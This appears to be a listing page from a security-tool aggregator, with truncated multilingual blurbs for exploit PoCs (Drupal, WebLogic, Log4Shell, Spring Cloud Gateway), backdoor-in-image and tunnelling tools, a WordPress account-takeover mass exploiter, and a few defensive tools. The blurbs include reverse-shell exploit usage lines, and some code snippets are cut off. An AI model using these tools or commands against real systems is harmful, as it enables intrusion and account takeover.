pixload

pixload -- 画像ペイロード作成ツール 説明 バックドアを隠すための 画像にペイロードを作成/注入するためのツールセット。 現在サポートされている画像形式: BMP、GIF、JPG、PNG、WebP。 概要 pixload とその使用例をより深く理解するための参考資料: ポリグロットJPEGを使用したCSPのバイパス ポリグロット画像を使用してマルバタイジング攻撃を隠すハッキンググループ PNG IDATチャンクへのWebシェルのエンコード PNGと変なコンテンツタイプを介したFacebookでのXSS PNG IDATチャンク内のXSSペイロードの再訪...

CVE-2020-28488

CVE-2020-28488 拒绝服务 DoS - jQuery UI 1.12.1 - 漏洞利用 Payload root@kitploit: for var i = 0; i DoS - jQuery UI 1.12.1 DoS - jQuery UI 1.12.1 Exploit PoC by Rafael Cintra Lopes function exploit for var i = 0; i 参考链接 CVE-2020-28488 Snyk jQuery UI 报告...

CVE-2021-2109

CVE-2021-2109 Weblogic Server远程代码执行漏洞复现及分析 2021年1月Oracle发布了安全更新补丁，包含Oracle产品系列中的329个新安全补丁。此次公告中特别提到了，2020年11月1日发布的Oracle WebLogic Server关于CVE-2020-14750漏洞的安全公告。强烈建议客户应用此补丁更新，及此公告中的其他补丁。CVE编号CVE-2021-2109，该漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入，导致攻击者可利用此漏洞远程代码执行。 影响版本如下： Weblogic Server 10.3.6.0.0...

text4shell-docker

Install maven - maven-linux 1. Maven インストール fat jar を作成するため root@kitploit: mvn clean install 2. Docker ビルド root@kitploit: docker build --tag=text4shell . 3. Docker 実行 root@kitploit: docker run -p 80:8080 text4shell 4. アプリをテスト root@kitploit: http://localhost/text4shell/attack?search= 5...

CVE-2018-7600

CVE-2018-7600 的 POC Drupal RCE CVE-2018-7600 不要忘记将你的地址放入脚本！ 描述： Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。这可能导致攻击者利用多个攻击向量攻击Drupal站点，从而使站点完全被攻陷。 解决方案： 升级到最新版本的Drupal 7或8核心。 如果您运行的是7.x，请升级到Drupal 7.58。（如果无法立即更新，您可以尝试应用此补丁来修复漏洞，直到您能完全更新为止。） 如果您运行的是8.5.x，请升级到Drupal...

CVE-2018-7600-Drupal7

CVE-2018-7600-Drupal7 CVE-2018-7600【Drupal7】バッチスキャンツール。 root@kitploit: メインファイル：CVE-2018-7600-Drupal7.py 本質的にはwhoamiのexpをラップしたものです Drupal7/8の原理は同じですが、このスクリプトは現時点では7のみに対応しています target.txtをターゲット入力として提供し、結果は自動的にresult.txtファイルに出力されます かなり前に書いたスクリプトなので、今ここで共有します。細かい部分が不十分な点がありましたらご容赦ください デモ： root@kitploi...

CVE-2022-22947

CVE-2022-22947 Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。 漏洞环境 root@kitploit: git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml docker-compose up -d 漏洞利用 向routes接口中发送如下数据包：...

analyzeMFT

AnalyzeMFT ステータス : すべてのテストが Python 3.8-3.12 の Windows、macOS、Linux で合格しています。 クイックスタート root@kitploit: Install pip install analyzeMFT Basic usage python analyzeMFT.py -f MFTFILE -o output.csv --csv Generate test MFT for testing python -c "from src.analyzeMFT.testgenerator import createtestmft;...

sjet

sJET（siberas 製） siberas JMX エクスプロイテーションツールキット sJET は、安全でない設定の JMX サービスを簡単に悪用できるようにします。追加の背景情報は、こちら および こちら にあります。 前提条件 Jython 2.7 使用方法 SJET は CLI インターフェースを実装しています（argparse を使用）。 root@kitploit: jython sjet.py targetHost targetPort password MODE modeOptions ここで targetHost - ターゲット IP アドレス targetPort...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test log4j（CVE-2021-44228）脆弱性を実行する方法を示すデモプロジェクト すぐにセットアップできるようにSpring Bootを使用しました。すべてハードコーディングされている点はご容赦ください。これは単なるPOCです。 使用方法 Java 8がインストールされていること。Mavenでビルド mvn clean package -DskipTests。以下のコマンドを別々のシェルウィンドウで実行します： root@kitploit: java -jar...

bunkerweb v1.6.15-rc1

🌐 Website | 🤝 Panel | 📓 Documentation | 👨‍💻 Demo | 📱 Demo UI | 🧩 Templates | 🛡️ Examples 💬 Chat | 📝 Forum | 📝 Community | 🗺️ Threatmap | 📊 Status | 🔎 Feedback 🛡️ Make security by default great again! BunkerWeb BunkerWeb is a next-generation, open-source Web Application Firewall WAF. Being a...

CVE-2026-8206

CVE-2026-8206 - Kirki WordPress 插件批量利用工具 CVE-2026-8206 批量利用工具 – 针对 Kirki WordPress 插件（版本 ≤ 6.0.6）中的一个严重漏洞，允许未经身份验证的攻击者劫持密码重置链接并接管任何用户帐户，包括管理员。 漏洞概述 Kirki 插件暴露了一个未经身份验证的 REST 端点（/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password）。由于缺少权限检查和不正确的电子邮件验证，攻击者可以： 为任何有效用户名请求密码重置...

proxify

機能 • インストール • 使い方 • Proxifyの実行 • SSL証明書のインストール • Proxifyの応用例 • Discordに参加 迅速なデプロイのためのスイスアーミーナイフプロキシ。リクエスト/レスポンスのダンプ、DSL言語によるフィルタリングと操作、上流のHTTP/Socks5プロキシなど、複数の操作をサポートします。 さらに、リプレイユーティリティを使用すると、ダンプしたトラフィック（正しいドメイン名のリクエスト/レスポンス）を、上流プロキシをproxifyに設定するだけでBurpSuiteや他のプロキシにインポートできます。 機能 HTTP/HTTPS および...

python-hacklib

hacklib Pythonを使用したハッキング愛好家向けツールキット。 hacklibは、ネットワークセキュリティに興味があるハッキング愛好家のためのPythonモジュールです。現在は積極的に開発されていません。 インストール hacklibを入手するには、コマンドラインで以下を実行するだけです： root@kitploit: pip install hacklib hacklibにはユーザーインターフェースもあります。使用するには、次のいずれかを行ってください： hacklib.pyをダウンロードしてコンソールで実行： root@kitploit: python hacklib.py...

Tunna

Tunna Tunnaは、あらゆるTCP通信をHTTP上でラップしてトンネリングするツール群です。完全にファイアウォールで制限された環境でも、ネットワーク制限を回避するために使用できます。 v1.1 Alpha版 root@kitploit: | | | || | | | ' | ' \ / | | || || | | | | | | | | | || ,|| ||| ||,| Tunna 0.1, HTTPトンネリングTCP接続用 / 作成者 Nikos Vassakis http://www.secforce.co.uk / nikos.vassakis secforce.com...

ipa-medit

ipa-medit Ipa-medit は、ジェイルブレイクを必要とせずに再署名済み ipa のメモリ検索およびパッチを行うツールです。 iPhone および Apple Silicon Mac 上で動作する iOS アプリに対応しています。 モバイルゲームのセキュリティテストのために作成されました。 多くのモバイルゲームにはジェイルブレイク検出機能がありますが、ipa-medit はジェイルブレイクを必要としないため、ジェイルブレイク検出を回避することなくメモリ改変が可能です。 動機 メモリ改変はゲームでチートを行う最も簡単な方法であり、セキュリティテストでチェックすべき項目の一つです...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

cve-2021-44228-qingteng-patch

青藤 log4j2-patch https://github.com/qingtengyun/cve-2021-44228-qingteng-patch 修复 log4j2的 CVE-2021-44228 , 利用 JVM 提供的 Instrumentation API来更改加载到 JVM 中的现有字节码。 在不重启Java进程的情况下，修改org.apache.logging.log4j.core.lookup.JndiLookup类的lookup方法，固定返回 Patched JndiLookup::lookup。 简单参考了...

HSTP

网络上的超简单文本协议 立即尝试：https://hstp.ai root@kitploit: npx hstp; 该协议旨在为超服务传输协议开发一种应用层抽象。 HSTP 是一种递归，正如 HSTP 的本质。该协议将自身实现为一个接口。在每个连接到互联网的设备上，都存在一个 HSTP 实例。因此无需采用。HSTP 已经运行在互联网之上。我们现在才刚刚实现了在异构网络上通过协议解释协议。所以不要将其与 web2、web3 或类似事物进行比较。 摘要 HSTP 是用于异构网络的应用表示接口。 HSTP...

pcfg_cracker

PCFG = Probabilistic Context Free Grammar PCFG = Pretty Cool Fuzzy Guesser In short: A collection of tools to perform research into how humans generate passwords. These can be used to crack password hashes, but also create synthetic passwords honeywords, or help develop better password strength...